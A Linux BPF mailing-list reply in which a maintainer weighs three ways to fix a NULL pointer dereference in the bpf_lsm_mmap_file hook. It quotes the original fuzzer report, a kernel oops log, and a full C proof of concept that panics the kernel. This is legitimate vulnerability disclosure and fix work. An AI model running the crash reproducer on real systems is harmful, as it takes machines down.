From: Matt Bobrowski <mattbobrowski@google.com>
To: 梅开彦 <kaiyanm@hust.edu.cn>
Cc: daniel@iogearbox.net, bpf@vger.kernel.org, martin.lau@linux.dev,
hust-os-kernel-patches@googlegroups.com, dddddd@hust.edu.cn,
dzm91@hust.edu.cn, kpsingh@kernel.org
Subject: Re: bpf: mmap_file LSM hook allows NULL pointer dereference
Date: Tue, 2 Dec 2025 14:54:53 +0000 [thread overview]
Message-ID: <aS79vYLul06oLPT2@google.com> (raw)
In-Reply-To: <aS7BvzTJ-2Xo7ncq@google.com>
On Tue, Dec 02, 2025 at 10:38:55AM +0000, Matt Bobrowski wrote:
> On Tue, Dec 02, 2025 at 03:09:42PM +0800, 梅开彦 wrote:
> > Our fuzzer tool discovered a NULL pointer dereference vulnerability in the BPF subsystem. The vulnerability is triggered when a BPF LSM program, attached to the `bpf_lsm_mmap_file`, receives a NULL pointer for the `struct file *` argument during an anonymous memory mapping operation but attempts to dereference it without a NULL check.
> >
> > Reported-by: Kaiyan Mei <M202472210@hust.edu.cn>
> > Reported-by: Yinhao Hu <dddddd@hust.edu.cn>
> > Reviewed-by: Dongliang Mu <dzm91@hust.edu.cn>
> >
> > ## Root Cause
> >
> > The crash is caused by a NULL pointer dereference within an eBPF program attached to the `bpf_lsm_mmap_file` LSM hook. The trigger occurs when a user calls the `mmap` syscall with the `MAP_ANONYMOUS` flag. This action creates a file-less memory mapping, causing the kernel to invoke the `security_mmap_file` hook with a NULL `struct file *` argument. If the attached BPF program assumes this pointer is always valid and attempts to dereference it without a NULL check, it immediately causes a page fault, leading to a kernel panic.
>
> Thanks for the report. Can confirm, and a more simplified reproducer
> can be found below:
>
> BPF:
> ```
> SEC("lsm.s/mmap_file")
> int BPF_PROG(mmap_file, struct file *file)
> {
> bpf_printk("i_ino=%llu", file->f_inode->i_ino);
> return 0;
> }
> ```
>
> Stimulus:
> ```
> #include <stdio.h>
> #include <string.h>
> #include <sys/mman.h>
>
> int main(int argc, char** argv) {
> void* p;
>
> p = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
> MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
> if (p == MAP_FAILED) {
> perror("mmap");
> return 1;
> }
>
> memset(p, 0, 4096);
> munmap(p, 4096);
> return 0;
> }
> ```
>
> My initial thought here is that bpf_lsm_is_trusted() is treating
> pointer arguments provided to security_mmap_file() simply as
> PTR_TRUSTED, when in reality it should be something like PTR_TRUSTED |
> PTR_MAYBE_NULL instead. Anyway, I can take a look and send through an
> appropriate fix.
So, thinking about this a little I think we have a couple options when
it comes to addressing this. We can either:
a) Add bpf_lsm_mmap_file() to the untrusted_lsm_hooks set. This will
effectively mark the struct file pointer argument passed into
bpf_lsm_mmap_file() as being untrusted (i.e. the register will not
carry a PTR_TRUSTED type). The caveat with this approach however is
that it'll have negative effects (i.e. cannot be supplied to BPF
kfuncs that accept KF_TRUSTED_ARGS arguments) on those struct file
pointer arguments that are considered to be valid and trusted.
b) Update the generic LSM_HOOK() declaration for mmap_file
(security_mmap_file()) within lsm_hook_defs.h such that the struct
file pointer argument name contains a "__nullable" suffix. This will
allow btf_ctx_access() to apply the PTR_MAYBE_NULL type onto the
backing register holding a reference to the struct file pointer,
ultimately forcing the BPF program to perform a NULL check before
attempting to dereference it. The caveat with this approach is that
BPF program verification, and ultimately its runtime safety
guarantees, would be tied in with generic LSM infrastructure which I
don't think is a good idea. Subtle breakage could occur literally at
any point.
c) Provide an override declaration/definition for bpf_lsm_mmap_file()
within include/linux/bpf_lsm.h and kernel/bpf/bpf_lsm.c such that the
struct file pointer argument is named file__nullable instead. Similar
to option b) above, doing this will result in btf_ctx_access() having
marked the backing register which holds the struct file pointer
reference as being a PTR_MAYBE_NULL type. This will ensure that BPF
program is forced to perform a NULL check before attempting to
dereference it. The benefit here is that these override
declaration/definitions will be localized to BPF infrastructure only.
Does anyone else have any other ideas? I'm thinking to go with option
c) at this point, but there may be a better way.
> > #### Execution Flow Visualization
> >
> > ```
> > Vulnerability Execution Flow
> > |
> > |--- 1. An unsafe BPF program (without a NULL check) is attached
> > | | to the `bpf_lsm_mmap_file` LSM hook.
> > |
> > |--- 2. `mmap(..., MAP_ANONYMOUS, -1, ...)` Syscall Execution
> > | |
> > | `-- ... -> vm_mmap_pgoff()
> > | |
> > | `-- security_mmap_file(file=NULL, ...)
> > | |
> > | |--> Calls the attached BPF program via trampoline.
> > | |
> > | `-- BPF Program Execution
> > | |
> > | |--> Receives `file` argument as a NULL pointer.
> > | |
> > | `-- Unsafely dereferences the NULL pointer.
> > | |
> > | `-> CRASH: NULL pointer dereference occurs here.
> > ```
> >
> > ### Reproduction Steps
> >
> > 1. **Map Creation**: Create a BPF map of type `BPF_MAP_TYPE_INODE_STORAGE`.
> > 2. **Program Setup**: Load a `BPF_PROG_TYPE_LSM` BPF program. The program must be written to dereference its first argument (a `struct file *` context pointer).
> > 3. **Link Creation**: Attach the LSM program to the `bpf_lsm_mmap_file` hook via its BTF ID.
> > 4. **Trigger**: Call `mmap` with the `MAP_ANONYMOUS` flag and an `fd` of `-1`. This will pass a `NULL` `struct file *` pointer to the BPF program, causing the kernel to crash.
> >
> > ## KASAN Report
> >
> > ```
> > [ 680.827306][T11558] BUG: kernel NULL pointer dereference, address: 0000000000000060
> > [ 680.827714][T11558] #PF: supervisor read access in kernel mode
> > [ 680.827977][T11558] #PF: error_code(0x0000) - not-present page
> > [ 680.828291][T11558] PGD 0 P4D 0
> > [ 680.828469][T11558] Oops: Oops: 0000 [#1] SMP KASAN NOPTI
> > [ 680.828763][T11558] CPU: 1 UID: 0 PID: 11558 Comm: poc Not tainted 6.18.0-rc7-next-20251128 #9 PREEMPT(full)
> > [ 680.829279][T11558] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
> > [ 680.829753][T11558] RIP: 0010:bpf_prog_7fbc899361679885+0x19/0x45
> > [ 680.830085][T11558] Code: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc f3 0f 1e fa 0f 1f 44 00 00 0f 1f 00 55 0
> > [ 680.831092][T11558] RSP: 0018:ffffc90008e0fd00 EFLAGS: 00010202
> > [ 680.831405][T11558] RAX: 0000000000000001 RBX: 0000000000000001 RCX: ffffffff81e71ea9
> > [ 680.831821][T11558] RDX: ffff8880329d0000 RSI: ffffffff81e71d9e RDI: 0000000000000000
> > [ 680.832230][T11558] RBP: ffffc90008e0fd08 R08: 0000000000000000 R09: 0000000000000001
> > [ 680.832636][T11558] R10: 0000000000000001 R11: 0000000000000001 R12: 0000000000000000
> > [ 680.833046][T11558] R13: 0000000000000000 R14: 0000000000000032 R15: ffff888113f98000
> > [ 680.833452][T11558] FS: 00007f86f38a9740(0000) GS:ffff8881a13de000(0000) knlGS:0000000000000000
> > [ 680.833918][T11558] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [ 680.834265][T11558] CR2: 0000000000000060 CR3: 000000010e12a000 CR4: 0000000000752ef0
> > [ 680.834679][T11558] PKRU: 55555554
> > [ 680.834868][T11558] Call Trace:
> > [ 680.835044][T11558] <TASK>
> > [ 680.835203][T11558] bpf_trampoline_6442622653+0x64/0x10d
> > [ 680.835494][T11558] security_mmap_file+0x8b1/0x9f0
> > [ 680.835765][T11558] vm_mmap_pgoff+0xd9/0x460
> > [ 680.836010][T11558] ? __pfx_vm_mmap_pgoff+0x10/0x10
> > [ 680.836285][T11558] ksys_mmap_pgoff+0x82/0x5d0
> > [ 680.836533][T11558] ? __pfx_ksys_write+0x10/0x10
> > [ 680.836794][T11558] __x64_sys_mmap+0x12c/0x190
> > [ 680.837055][T11558] do_syscall_64+0xcb/0xf80
> > [ 680.837303][T11558] entry_SYSCALL_64_after_hwframe+0x77/0x7f
> > [ 680.837613][T11558] RIP: 0033:0x7f86f39ad7d9
> > [ 680.837850][T11558] Code: 08 89 e8 5b 5d c3 66 2e 0f 1f 84 00 00 00 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 8
> > [ 680.838856][T11558] RSP: 002b:00007ffdc27f0ee8 EFLAGS: 00000212 ORIG_RAX: 0000000000000009
> > [ 680.839290][T11558] RAX: ffffffffffffffda RBX: 00007ffdc27f1098 RCX: 00007f86f39ad7d9
> > [ 680.839703][T11558] RDX: 0000000000000000 RSI: 0000000000001000 RDI: 0000200001000000
> > [ 680.840121][T11558] RBP: 00007ffdc27f0f60 R08: ffffffffffffffff R09: 0000000000000000
> > [ 680.840535][T11558] R10: 0000000000000032 R11: 0000000000000212 R12: 0000000000000000
> > [ 680.840942][T11558] R13: 00007ffdc27f10a8 R14: 000055be0fcbedd8 R15: 00007f86f3ace020
> > [ 680.841362][T11558] </TASK>
> > [ 680.841525][T11558] Modules linked in:
> > [ 680.841733][T11558] CR2: 0000000000000060
> > [ 680.841951][T11558] ---[ end trace 0000000000000000 ]---
> > [ 680.842235][T11558] RIP: 0010:bpf_prog_7fbc899361679885+0x19/0x45
> > [ 680.842568][T11558] Code: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc f3 0f 1e fa 0f 1f 44 00 00 0f 1f 00 55 0
> > [ 680.843588][T11558] RSP: 0018:ffffc90008e0fd00 EFLAGS: 00010202
> > [ 680.843901][T11558] RAX: 0000000000000001 RBX: 0000000000000001 RCX: ffffffff81e71ea9
> > [ 680.844310][T11558] RDX: ffff8880329d0000 RSI: ffffffff81e71d9e RDI: 0000000000000000
> > [ 680.844723][T11558] RBP: ffffc90008e0fd08 R08: 0000000000000000 R09: 0000000000000001
> > [ 680.845140][T11558] R10: 0000000000000001 R11: 0000000000000001 R12: 0000000000000000
> > [ 680.845549][T11558] R13: 0000000000000000 R14: 0000000000000032 R15: ffff888113f98000
> > [ 680.845967][T11558] FS: 00007f86f38a9740(0000) GS:ffff8881a13de000(0000) knlGS:0000000000000000
> > [ 680.846429][T11558] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [ 680.846770][T11558] CR2: 0000000000000060 CR3: 000000010e12a000 CR4: 0000000000752ef0
> > [ 680.847180][T11558] PKRU: 55555554
> > [ 680.847362][T11558] Kernel panic - not syncing: Fatal exception
> > [ 680.847924][T11558] Kernel Offset: disabled
> > ```
> >
> > ## Proof of Concept
> >
> > The following C program can demonstrate the vulnerability on linux-next-20251128(commit 7d31f578f3230f3b7b33b0930b08f9afd8429817).
> >
> > To successfully run the PoC, you need to obtain the BTF ID for `bpf_lsm_mmap_file` and set the variable `btf_id` in function `load_prog` to this value. You can retrieve this BTF ID using the following command: `bpftool btf dump file path-to-your-vmlinux | grep bpf_lsm_mmap_file`.
> >
> > ```c
> > #define _GNU_SOURCE
> >
> > #include <dirent.h>
> > #include <endian.h>
> > #include <errno.h>
> > #include <fcntl.h>
> > #include <signal.h>
> > #include <stdarg.h>
> > #include <stdbool.h>
> > #include <stdint.h>
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <sys/prctl.h>
> > #include <sys/stat.h>
> > #include <sys/syscall.h>
> > #include <sys/types.h>
> > #include <sys/wait.h>
> > #include <sys/ioctl.h>
> > #include <time.h>
> > #include <unistd.h>
> > #include <linux/bpf.h>
> > #include <sys/socket.h>
> > #include <sys/mman.h>
> >
> > #ifndef __NR_bpf
> > #define __NR_bpf 321
> > #endif
> >
> > #define BPF_FUNC_inode_storage_get 145
> > #define BPF_FUNC_inode_storage_delete 146
> >
> > #define BPF_EXIT_INSN() \
> > ((struct bpf_insn) { \
> > .code = BPF_JMP | BPF_EXIT, \
> > .dst_reg = 0, \
> > .src_reg = 0, \
> > .off = 0, \
> > .imm = 0 })
> >
> > #define BPF_MOV64_IMM(DST, IMM) \
> > ((struct bpf_insn) { \
> > .code = BPF_ALU64 | BPF_MOV | BPF_K, \
> > .dst_reg = DST, \
> > .src_reg = 0, \
> > .off = 0, \
> > .imm = IMM })
> >
> > #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
> > ((struct bpf_insn) { \
> > .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
> > .dst_reg = DST, \
> > .src_reg = SRC, \
> > .off = OFF, \
> > .imm = 0 })
> >
> > #define BPF_LD_IMM64_RAW_FULL(DST, SRC, OFF1, OFF2, IMM1, IMM2) \
> > ((struct bpf_insn) { \
> > .code = BPF_LD | BPF_DW | BPF_IMM, \
> > .dst_reg = DST, \
> > .src_reg = SRC, \
> > .off = OFF1, \
> > .imm = IMM1 }), \
> > ((struct bpf_insn) { \
> > .code = 0, /* zero is reserved opcode */ \
> > .dst_reg = 0, \
> > .src_reg = 0, \
> > .off = OFF2, \
> > .imm = IMM2 })
> >
> > /* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
> >
> > #define BPF_LD_MAP_FD(DST, MAP_FD) \
> > BPF_LD_IMM64_RAW_FULL(DST, BPF_PSEUDO_MAP_FD, 0, 0, \
> > MAP_FD, 0)
> >
> > #define BPF_MOV64_REG(DST, SRC) \
> > ((struct bpf_insn) { \
> > .code = BPF_ALU64 | BPF_MOV | BPF_X, \
> > .dst_reg = DST, \
> > .src_reg = SRC, \
> > .off = 0, \
> > .imm = 0 })
> >
> > #define BPF_EMIT_CALL(FUNC) \
> > ((struct bpf_insn) { \
> > .code = BPF_JMP | BPF_CALL, \
> > .dst_reg = 0, \
> > .src_reg = 0, \
> > .off = 0, \
> > .imm = ((FUNC) - BPF_FUNC_unspec) })
> >
> >
> > static unsigned long long procid;
> > static inline uint64_t ptr_to_u64(const void *ptr) {
> > return (uint64_t)(unsigned long)ptr;
> > }
> >
> >
> > int create_btf_fd(){
> > *(uint64_t*)0x200000000100 = 0x200000000000;
> > *(uint16_t*)0x200000000000 = 0xeb9f;
> > *(uint8_t*)0x200000000002 = 1;
> > *(uint8_t*)0x200000000003 = 0;
> > *(uint32_t*)0x200000000004 = 0x18;
> > *(uint32_t*)0x200000000008 = 0;
> > *(uint32_t*)0x20000000000c = 0x1c;
> > *(uint32_t*)0x200000000010 = 0x1c;
> > *(uint32_t*)0x200000000014 = 2;
> > *(uint32_t*)0x200000000018 = 0;
> > *(uint16_t*)0x20000000001c = 0;
> > *(uint8_t*)0x20000000001e = 0;
> > *(uint8_t*)0x20000000001f = 1;
> > *(uint32_t*)0x200000000020 = 4;
> > *(uint8_t*)0x200000000024 = 0x20;
> > *(uint8_t*)0x200000000025 = 0;
> > *(uint8_t*)0x200000000026 = 0;
> > *(uint8_t*)0x200000000027 = 1;
> > *(uint32_t*)0x200000000028 = 1;
> > *(uint16_t*)0x20000000002c = 0;
> > *(uint8_t*)0x20000000002e = 0;
> > *(uint8_t*)0x20000000002f = 0x10;
> > *(uint32_t*)0x200000000030 = 8;
> > *(uint8_t*)0x200000000034 = 0;
> > *(uint8_t*)0x200000000035 = 0;
> > *(uint64_t*)0x200000000108 = 0;
> > *(uint32_t*)0x200000000110 = 0x36;
> > *(uint32_t*)0x200000000114 = 0;
> > *(uint32_t*)0x200000000118 = 1;
> > *(uint32_t*)0x20000000011c = 0;
> > *(uint32_t*)0x200000000120 = 0;
> > *(uint32_t*)0x200000000124 = 0;
> > int res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x200000000100ul, /*size=*/0x28ul);
> > return res;
> > }
> >
> > int bpf_map_create(uint32_t map_type, uint32_t key_size, uint32_t value_size, unsigned int max_entries, unsigned int flags, unsigned int btf_id) {
> > union bpf_attr attr = {.map_type = map_type,
> > .key_size = key_size,
> > .value_size = value_size,
> > .max_entries = max_entries,
> > .map_flags = flags,
> > .map_extra = 0,
> > .btf_fd=btf_id,
> > .btf_key_type_id=1,
> > .btf_value_type_id=1,
> > };
> > return syscall(__NR_bpf, 0, &attr, 0x40);
> > }
> >
> > static int load_prog(struct bpf_insn *insns, size_t cnt) {
> > int btf_id = 0; // change to valid btf of bpf_lsm_mmap_file
> > if(btf_id == 0) {
> > printf("Btf id is not available! \n");
> > exit(0);
> > }
> >
> > union bpf_attr attr = {
> > .prog_type = 0x1d,
> > .insns = ptr_to_u64(insns),
> > .insn_cnt = cnt,
> > .license = ptr_to_u64("GPL"),
> > .attach_btf_id = btf_id,
> > .expected_attach_type = BPF_LSM_MAC,
> > .log_level = 3,
> > };
> > int prog_fd=syscall(__NR_bpf, 5, &attr, sizeof(attr));
> > return prog_fd;
> > }
> >
> > int link_create(int prog_fd, int target_fd, uint32_t attach_type)
> > {
> > union bpf_attr attr = {
> > .link_create.prog_fd = prog_fd,
> > .link_create.target_fd = target_fd,
> > .link_create.attach_type = attach_type,
> > };
> >
> > return syscall(__NR_bpf, BPF_LINK_CREATE, &attr, sizeof(attr.link_create));
> > }
> >
> > uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
> >
> > void execute_one(void)
> > {
> > intptr_t res = 0;
> > if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
> >
> > res = create_btf_fd();
> > if (res != -1)
> > r[0] = res;
> >
> > res = bpf_map_create(0x1c, 4, 4, 0, 0x201, r[0]);
> > if (res != -1)
> > r[1] = res;
> > struct bpf_insn prog[] = {
> > BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0),
> > BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 96), // dereference the struct file *
> > BPF_LD_MAP_FD(BPF_REG_1, r[1]),
> > BPF_MOV64_REG(BPF_REG_2, BPF_REG_6),
> > BPF_MOV64_IMM(BPF_REG_3, 0x0),
> > BPF_MOV64_IMM(BPF_REG_4, 0x1),
> > BPF_EMIT_CALL(BPF_FUNC_inode_storage_get),
> > BPF_MOV64_IMM(BPF_REG_0, 0x0),
> > BPF_EXIT_INSN()
> > };
> > res = load_prog(prog, sizeof(prog) / sizeof(prog[0]));
> > printf("loaded prog %ld\n", res);
> > if (res != -1)
> > r[3] = res;
> > int link = link_create(r[3], 0, BPF_LSM_MAC);
> > syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, MAP_ANONYMOUS, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
> > }
> > int main(void)
> > {
> > syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
> > syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
> > syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
> > for(int i=0;i<1;i++){
> > execute_one();
> > }
> >
> > return 0;
> > }
> >
> > ```
> >
> >
> > ## Kernel Configuration Requirements for Reproduction
> >
> > The vulnerability can be triggered with the kernel config in the attachment.
>
>
next prev parent reply other threads:[~2025-12-02 14:54 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2025-12-02 7:09 bpf: mmap_file LSM hook allows NULL pointer dereference 梅开彦
2025-12-02 10:38 ` Matt Bobrowski
2025-12-02 14:54 ` Matt Bobrowski [this message]
2025-12-02 17:27 ` Alexei Starovoitov
2025-12-02 19:17 ` Matt Bobrowski
2025-12-02 21:40 ` Alexei Starovoitov
2025-12-03 8:47 ` Matt Bobrowski
2025-12-03 18:23 ` Alexei Starovoitov
2025-12-10 10:02 ` Matt Bobrowski
2025-12-11 21:39 ` Matt Bobrowski
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=aS79vYLul06oLPT2@google.com \
--to=mattbobrowski@google.com \
--cc=bpf@vger.kernel.org \
--cc=daniel@iogearbox.net \
--cc=dddddd@hust.edu.cn \
--cc=dzm91@hust.edu.cn \
--cc=hust-os-kernel-patches@googlegroups.com \
--cc=kaiyanm@hust.edu.cn \
--cc=kpsingh@kernel.org \
--cc=martin.lau@linux.dev \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).